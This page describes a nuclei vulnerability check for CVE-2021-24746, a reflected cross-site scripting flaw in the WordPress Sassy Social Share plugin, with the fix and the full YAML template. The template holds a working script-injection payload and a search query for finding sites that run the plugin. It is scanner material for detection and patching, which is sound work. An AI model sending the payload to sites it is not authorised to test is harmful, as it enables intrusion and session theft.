WordPress Sassy Social Share Plugin <3.3.40 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

WordPress plugin Sassy Social Share < 3.3.40 contains a reflected cross-site scripting vulnerability.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Update the WordPress Sassy Social Share Plugin to version 3.3.40 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-json/wp/v2/posts ; GET {{BaseURL}}/{{slug}}/?a&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;
Positive when: contains "?a\"><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24746 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24746

info:
  name: WordPress Sassy Social Share Plugin <3.3.40 - Cross-Site Scripting
  author: Supras
  severity: medium
  description: WordPress plugin Sassy Social Share < 3.3.40 contains a reflected cross-site scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Sassy Social Share Plugin to version 3.3.40 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/99f4fb32-e312-4059-adaf-f4cbaa92d4fa
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24746
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24746
    cwe-id: CWE-79
    epss-score: 0.02244
    epss-percentile: 0.83009
    cpe: cpe:2.3:a:heateor:sassy_social_share:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: heateor
    product: sassy_social_share
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/sassy-social-share"
  tags: cve,cve2021,wordpress,wp-plugin,xss,wp,wpscan,heateor,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/posts"
      - "{{BaseURL}}/{{slug}}/?a&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;"

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '?a"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: slug
        group: 1
        regex:
          - '"slug":"([_a-z-A-Z0-9]+)",'
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from